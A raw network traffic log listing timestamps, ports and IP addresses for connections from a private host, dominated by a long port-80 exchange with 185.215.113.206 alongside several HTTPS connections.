Nov 28, 2024 00:19:45.535763025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.535813093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.535832882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.535871983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.536640882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.536691904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.536772966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.537144899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.537502050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.537602901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.537628889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.537650108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.538387060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.538471937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.538538933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.538583994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.539293051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.539335966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.539345026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.539382935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.540075064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.540128946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.540188074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.540247917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.540999889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.541058064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.541098118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.541829109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.541876078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.541940928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.541985989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.542730093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.542778015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.543353081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.543417931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.543576956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.543642044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.543693066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.544473886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.544526100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.544645071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.544691086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.545452118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.545495987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.545608044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.545643091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.546350956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.546391010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.546479940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.546521902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.547117949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.547187090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.547194958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.547236919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.547996044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.548039913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.548083067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.548120022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.548825026 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:45.548863888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.548872948 CET	443	49869	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:45.548909903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.548926115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.548947096 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:45.548970938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.549302101 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:45.549323082 CET	443	49869	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:45.549778938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.549827099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.549875021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.549916029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.550549030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.550595999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.550637007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.550674915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.551431894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.551476955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.551518917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.551589012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.552275896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.552319050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.552386045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.552418947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.553145885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.553189993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.553236961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.553303003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.553988934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.554039001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.554514885 CET	443	49850	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:45.554639101 CET	443	49850	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:45.554685116 CET	49850	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:45.554852962 CET	49850	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:45.554867983 CET	443	49850	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:45.561805010 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.562359095 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.562376976 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.609730005 CET	49870	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:45.609783888 CET	443	49870	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:45.609849930 CET	49870	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:45.610112906 CET	49870	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:45.610131025 CET	443	49870	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:45.635704041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.635791063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.635926008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.636070013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.636192083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.636217117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.636233091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.636907101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.636991978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.637046099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.637125015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.637708902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.637758970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.638026953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.638096094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.638135910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.638221025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.638819933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.638868093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.638983965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.639028072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.639708996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.639760971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.639828920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.639895916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.640463114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.640595913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.640641928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.641293049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.641431093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.641485929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.642117023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.642182112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.642235041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.642314911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.642978907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.643054008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.643070936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.643115997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.643769979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.643852949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.643876076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.643919945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.644602060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.644644022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.644648075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.644691944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.645394087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.645446062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.645646095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.645694017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.646251917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.646341085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.646342039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.646379948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.647067070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.647114992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.647188902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.647231102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.647878885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.647952080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.647989988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.648034096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.648724079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.648824930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.648873091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.649549007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.649621010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.649652004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.649724960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.650404930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.650468111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.650510073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.650614023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.651192904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.651299953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.651345968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.652025938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.652075052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.652082920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.652107000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.695609093 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.696734905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.698261976 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:45.698983908 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:45.699003935 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:45.699481010 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:45.699490070 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:45.820919037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.902265072 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.902287960 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.902338028 CET	49855	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.902364969 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.903776884 CET	49855	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.903826952 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.904007912 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.904010057 CET	49855	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.904042006 CET	49855	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.904185057 CET	49871	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.904213905 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.904277086 CET	49871	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.904686928 CET	49871	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.904699087 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.906344891 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.906364918 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.906440020 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.906461000 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.906589031 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.906634092 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.910060883 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.910068989 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.910557985 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.910593033 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.910654068 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.911334991 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.911355019 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.917032957 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.920264006 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.920320034 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.920346975 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.920437098 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.920532942 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.920768976 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.920783997 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:46.100394011 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.104386091 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.104549885 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.104574919 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.106931925 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.107386112 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.107424974 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.107834101 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.107841015 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.116414070 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.116470098 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.116481066 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.126400948 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.126460075 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.126481056 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.138492107 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.138555050 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.138575077 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.150607109 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.150671005 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.150825977 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.151139021 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.151159048 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.151170015 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.151175022 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.152204037 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.152265072 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.152276993 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.154202938 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.154247999 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.154433012 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.154571056 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.154580116 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.156100988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.156152964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.156267881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.156323910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.156461000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.156538010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.156579971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.157146931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.157190084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.157192945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.157231092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.157732964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.157797098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.157833099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.157876015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.158504963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.158565998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.158628941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.158669949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.159296036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.159353971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.159420013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.159543037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.160115957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.160168886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.160243034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.160337925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.161062956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.161125898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.161153078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.161195040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.161797047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.161853075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.161925077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.161971092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.162687063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.162741899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.162748098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.162790060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.163456917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.163505077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.163582087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.163635015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.164351940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.164418936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.164453983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.164665937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.165102005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.165231943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.165287018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.165328979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.165932894 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.165956020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.165991068 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.166013002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.166018009 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.166029930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.166070938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.166743994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.166785955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.166861057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.166903019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.167583942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.167632103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.167663097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.167715073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.168426037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.168497086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.168519020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.168561935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.169224024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.169275999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.169311047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.169400930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.170047998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.170103073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.170126915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.170170069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.170880079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.170948029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.171053886 CET	80	49794	185.215.113.206	192.168.2.6
